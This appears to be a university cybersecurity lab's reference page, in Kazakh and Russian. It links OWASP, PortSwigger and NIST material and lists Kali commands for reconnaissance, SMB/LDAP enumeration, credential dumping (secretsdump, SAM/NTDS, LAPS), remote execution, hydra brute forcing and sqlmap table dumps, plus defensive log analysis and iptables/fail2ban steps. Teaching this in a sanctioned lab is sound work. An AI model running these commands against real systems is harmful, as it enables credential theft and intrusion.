Кітапхана
Нақты оқу материалдары: OWASP, PortSwigger, NIST, Kali құжаттамасы + cheat sheet-тер
OWASP — веб қауіпсіздік стандарты
OWASP Top 10 (2021)міндетті
Веб-осалдықтардың негізгі 10 тізімі: SQLi, XXE, IDOR, SSRF… Арена сабақтары осы тізім бойынша.
OWASP Web Security Testing Guide (WSTG)практика
Қалай тексеру керек: әр осалдық бойынша нақты тест қадамдары.
OWASP Cheat Sheet Seriescheat sheet
Қысқаша нұсқаулықтар: SQL Injection Prevention, Access Control, Logging…
Тегін интерактивті жаттығулар (университет ережесіне сәйкес — тек легалды платформалар)
PortSwigger Web Security Academyтегін
SQLi, XSS, IDOR — тегін, браузерде, әр тақырыпта labs. Ең жақсы бастау.
TryHackMeжолдар
Жолдар (paths) бойынша жүйелі оқу: Pre-Security, Junior Penetration Tester.
HackTheBox — Machines & Pro LabsCFt/real
Кешенді жүйелерді бұзу (CTF + real machines). Аренадағы форматқа жақын.
OverTheWire: Banditlinux
Linux + SSH негіздері — тегін, терминалда. Kali-де ойнайды.
Құжаттамалар және стандарттар
Kali Linux Documentation (tools.kali.org)көмекші
Әр құралдың ресми қолдану нұсқаулығы: nmap, hydra, sqlmap, metasploit…
NIST SP 800-115 — Technical Guide to Information Security Testingстандарт
Зертхана/аудит әдістемесі: қалай бағалайды, есептейді.
NIST SP 800-61 — Incident Response Guide (PICERL)IR
Оқиғаға жауап: Preparing, Identification, Containment, Eradication, Recovery, Lessons Learned.
Nmap Reference Guideкөмекші
nmap-тің толық құжаттамасы: барлық flag-тер, scan түрлері.
Код кітапханасы — 2000 команда (3 OS)
Kali / Parrot / Ubuntu — OS-ті таңда, ізде, көшір. Әр команда нақты, зертханада қолданылады.
667 табылды · Оффензивная разработка: разведка, сканирование, web, эксплуатация, WiFi, форензика.
nmap -sn 192.168.1.0/24Ping sweep: активные хосты без скана портов.
nmap -sP 10.0.0.0/24Host discovery (устаревший флаг, то же что -sn).
fping -a -g 192.168.1.0/24Быстрый список живых хостов.
fping -s -g 10.10.0.0/24Ping-статистика по сети (RTT, loss).
arping -I eth0 192.168.1.10ARP-проверка хоста в сегменте L2.
dig example.com AA-запись (IPv4).
dig example.com AAAAAAAA-запись (IPv6).
dig example.com MXMX: почтовые серверы.
dig example.com TXTTXT (SPF, DKIM, верификации).
dig example.com NSNS-серверы домена.
dig -t SOA example.comSOA: primary, refresh, retry, expire.
dig +trace example.comПолный путь: root → TLD → домен.
dig +short example.comТолько значения ответов.
dig @8.8.8.8 example.comЗапрос к конкретному резолверу.
host -t CNAME example.comCNAME-алиасы.
host -t A -l example.comAXFR зоны (если разрешён — утечка зоны).
nslookup -type=MX example.com 1.1.1.1MX через указанный DNS.
whois example.comРегистратор, даты, abuse-контакты.
whois -h whois.ripe.net 192.168.1.1IP-блок у конкретного RIR.
nbtstat -A 192.168.1.10NetBIOS-имена Windows-хоста.
enum4linux -a 192.168.1.10SMB/NBT: users, groups, shares, policy.
enum4linux -u admin -p pass 192.168.1.10Авторизованная enum4linux.
smbclient -L //192.168.1.10 -NСписок SMB-шар (анонимно).
smbclient -L //192.168.1.10 -U user%passСписок SMB-шар (авторизованно).
smbclient //192.168.1.10/share -U user%passВход в шар: ls, get, put.
smbmap -u user -p pass 192.168.1.10smbmap: шары и права доступа.
smbmap -u user -p pass --shares 192.168.1.10smbmap: детали шар.
rpcclient -U user%pass 192.168.1.10RPC: enumdomusers, lsa, srvinfo.
crackmapexec smb 192.168.1.0/24 -u admin -p pass --sharesCME: SMB-шары по подсети.
crackmapexec smb 192.168.1.0/24 -u admin -p pass --pass-polCME: политика паролей.
crackmapexec ldap dc01 -u admin -p pass --usersCME: LDAP-пользователи.
nxc smb 192.168.1.10 -u admin -p pass --samNXC: дамп SAM (NTLM).
nxc smb 192.168.1.10 -u admin -p pass --secretsNXC: secrets.dsr (NTDS).
nxc smb 192.168.1.10 -u admin -p pass --local-groupsNXC: локальные группы.
nxc ldap dc01 -u admin -p pass --usersNXC: LDAP users.
ldapsearch -x -H ldap://dc01 -D 'CN=probe,DC=x' -WLDAP simple bind.
ldapsearch -x -H ldap://dc01 -b 'DC=x' '(objectClass=user)' sAMAccountName mailВсе AD-пользователи с почтой.
ldapsearch -x -H ldap://dc01 -b 'DC=x' '(objectClass=group)' cnLDAP-группы.
ldapsearch -x -H ldap://dc01 -b 'DC=x' '(objectClass=computer)' dNSHostNameКомпьютеры домена.
ldapdomaindump -u user -p pass -o out.json dc01LDAP-дамп домена в JSON.
impacket-secretsdump dc01 user%passImpacket: NTDS.dit remote (DS-Replication).
impacket-secretsdump dc01 user%pass -just-dcТолько DC (NTDS).
impacket-getTGT dc01/user@DOMAIN -dc-ip 10.0.0.1TGT по логину/паролю.
impacket-psexec dc01 user%pass cmd.exePsExec удалённый процесс.
impacket-wmiexec dc01 user%pass whoamiWMI-исполнение (без бинарника).
impacket-smbexec dc01 user%pass whoamiSMB-исполнение (интерактив).
impacket-at dc01 user%pass whoamiИсполнение через task scheduler.
impacket-ldapsearch dc01 user%pass -FImpacket: LDAP-энаумерация.
impacket-rpcdump dc01 user%passImpacket: RPC-дамп пользователей.
impacket-smbclient //192.168.1.10/share -U user%passImpacket: SMB-клиент (get/put).
impacket-laps dc01 user%passImpacket: чтение LAPS-паролей.
adfind -f '(serviceprincipalname=*)' -alladfind: все SPN (Kerberoasting).
adfind -f '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)'Объекты с уязвимостью RBCD.
whatweb example.comВеб-стек: server, CMS, framework.
whatweb -a 3 example.comГлубина 3 (более агрессивный анализ).
wpscan --url http://target --enumerate ap,u,mWordPress: плагины, пользователи, посты.
joomscan -u http://targetJoomla: версия, компоненты.
nikto -h http://targetВеб-сканер: уязвимости, устаревшее ПО.
dnsrecon -d example.comDNS: субдомены, NS, MX, SOA.
dnsrecon -d example.com -t brtDNS brute (wordlist).
Cheat sheet-тер (Kali командалары)
nmap — желі сканерлеу
ip a # өз Kali IP-ңді көр nmap -sn 172.16.X.0/24 # ping sweep: тірі хосттар nmap -sV -sC <target> # барлық порттар + сервистер + скрип्टтер nmap -sS -p- <target> # SYN scan, барлық 65535 порт nmap -A <target> # OS анықтау + скрип्टтер + traceroute # Нәтижені сақта: nmap -sV -oN scan.txt <target>
hydra — brute force (тек өз зертханаңда!)
# SSH-ге (мысал: target-те ssh:22 бар): hydra -l admin -P /usr/share/wordlists/rockyou.txt <target> ssh # Web-формаға: hydra -l admin -P /usr/share/wordlists/rockyou.txt <target> http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect" # Нәтиже: «PASSWORD : admin, Target2026!» тәрізді жол
curl — web зерттеу
curl -s http://<target>:8080/api/orders/101 # өз order
curl -s http://<target>:8080/api/orders/1 # бәсекесіз IDOR тексеруі
curl -s http://<target>:8080/ -v # headers
curl -s -X POST http://<target>:8080/api/login -H "Content-Type: application/json" -d '{"user":"alice","pass":"a1ce"}'
# token-бен:
TOKEN=$(curl -s .../api/login -d ... | jq -r .token)
curl -s http://<target>:8080/api/orders -H "Authorization: Bearer $TOKEN"sqlmap — SQL инъекциясы
# Осал параметрді тапқан соң: sqlmap -u "http://<target>:8080/api/items?id=1" --dbs sqlmap -u "http://<target>:8080/api/items?id=1" -D shop -tables sqlmap -u "http://<target>:8080/api/items?id=1" -D shop -T users --dump # Өз зертханаңнан тыс URL-ге sqlmap жүргізугЕ БОЛМАЙДЫ.
Blue: логтарды талдау (grep/awk)
tail -f /var/log/shop/access.log
# Барлық IP-лерді санау (кім көп сұраныс жолды?):
awk '{print $4}' /var/log/shop/access.log | sort | uniq -c | sort -rn | head
# Belгілі IP-нің істегені:
grep "ip=172.16.X.101" /var/log/shop/access.log
# 401/403 қателері (brute force/IDOR ізді):
awk '$6 ~ /401|403/' /var/log/shop/access.log | tail -20Blue: қорғаныс (fix + iptables + fail2ban)
# 1) IDOR түзетуі (fixer ретінде): echo "access_check=on" | sudo tee /etc/shop/access_check.conf # 2) Шыбуылшы IP-ні блоктау: sudo iptables -A INPUT -s 172.16.X.101 -j DROP sudo iptables -L INPUT -n --line-numbers # 3) fail2ban: ssh-ге brute force болса автоматты ban sudo fail2ban-client status sshd # Тексеру: блокталған IP-ден curl → timeout болуы керек